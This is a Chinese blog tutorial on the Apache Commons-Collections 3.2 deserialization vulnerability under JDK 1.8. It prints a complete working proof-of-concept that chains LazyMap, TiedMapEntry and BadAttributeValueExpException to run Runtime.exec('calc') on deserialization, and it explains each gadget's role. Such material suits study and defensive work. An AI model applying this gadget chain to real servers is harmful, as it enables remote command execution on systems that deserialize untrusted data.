美文网首页
apache commons-collections 反序列漏洞

apache commons-collections 反序列漏洞

作者: 鸡龙 | 来源:发表于2020-06-19 22:40 被阅读0次

    在这里只记录下对jdk1.8可用的apache commons-collections中执行任意类任意执行方法链,实际程序代码与原作者相同,想知道更多分析思路,请参考原文

    环境

    jdk1.8
    commons-collections-3.2

    完整程序

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class POC6 {
        public static void main(String[] args) throws Exception{
            Transformer[] transformers_exec = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    
            Transformer chain = new ChainedTransformer(transformers_exec);
    
            HashMap innerMap = new HashMap();
            innerMap.put("value","axin");
    
            Map lazyMap = LazyMap.decorate(innerMap,chain);
            // 将lazyMap封装到TiedMapEntry中
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
            // 通过反射给badAttributeValueExpException的val属性赋值
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
            Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
            val.setAccessible(true);
            val.set(badAttributeValueExpException, tiedMapEntry);
            // 序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(badAttributeValueExpException);
            oos.flush();
            oos.close();
            // 本地模拟反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object obj = (Object) ois.readObject();
        }
    }
    

    分析

    将payload拆为分两个分析部分

    • 利用链的构造
    • 利用链的利用方式

    1、构造链式调用

    • ChanedTransformertransform方法可通过iTransformers构造执行方法链,并且iTransformers可控
    • InvokerTransformertransform可传参通过反射执行可控类的任意方法
    • ConstantTransformertransform可返回一个可控的Object对象
    • InvokerTransformerConstantTransformer都实现Transformer且都能被ChanedTransformer中的transform方法调用构造执行链。

    InvokerTransformertransform方法,这里使用传入的input通过反射来调用参数为iParamTypesiMethodName方法,而这两个变量是在构造InvokerTransformer时传入的参数。

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        }
    以下忽略………
    

    ChainedTransformertransform中,是对一个实现了Transformer接口类的数组进行遍历调用transform方法,将调用得出结果用作数组中下一个Transformer方法的参数。

    而我们的InvokerTransformer类就实现了Transformer接口,那如果我们用一个InvokerTransformer数组来构造ChainedTransformer后调用transform的话,就达到了可控类任意方法的链式调用的目的。

    但只使用InvokerTransformertransform是必须要执行某个对象的某个方法的,这样是无法构造开端的。所以要使用到ConstantTransformer

    同样是实现了Transformer接口,所以他也能被当成Transformer数组中的一员用来构造ChainedTransformer

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    

    至此,我们就可以构造一个完整的链式调用Runtime.getRuntime().exec("xxx"),执行下面代码,会调出计算器。

    Transformer[] transformers_exec = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    
    Transformer chain = new ChainedTransformer(transformers_exec);
    chain.transform("");
    

    2、如何使反序列化时调用transform

    其实本质就是在寻找反序列化是readObject时如何调用transform

    在原文中有使用到TransformedMapAnnotationInvocationHandler组合构造利用链,本质上就是在使用ChainedTransformer来构造TransformedMap,并且AnnotationInvocationHandlerreadObject中调用TransformedMapsetValue方法间接调用了transform

    还有LazyMapAnnotationInvocationHandler的动态代理组合构造,因为jdk8中的AnnotationInvocationHandler中的readObject方法中setValue变为了直接等号强转,所以在jdk8中这两种利用方式都失效了

    jdk7 jdk8

    所以,最后作者使用的是LazyMapTiedMapEntryBadAttributeValueExpException来构造利用链。

    LazyMap中get调用transform

    而这个factory的来源是在构造LazyMap的时候传入的,所以这一步是可控的。


    在看到TiedMapEntry中,构造时传入使用LazyMap,调用toString就能成功调用LazyMapget方法

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    public String toString() {
        return getKey() + "=" + getValue();
    }
    public Object getValue() {
        return map.get(key);
    }
    

    在看到BadAttributeValueExpExceptionreadObject反序列方法,调用了toString方法。

    所以最后,只要构造一个BadAttributeValueExpException对象,并注入我们精心制造的TiedMapEntry对象。就可在服务反序列时,执行你想要执行的指令。

    弹出计算器


    我也不知道nmd的大佬都怎么找出来的这种洞。吊的一批

    相关文章

      网友评论

          本文标题:apache commons-collections 反序列漏洞

          本文链接:https://www.haomeiwen.com/subject/rsgbxktx.html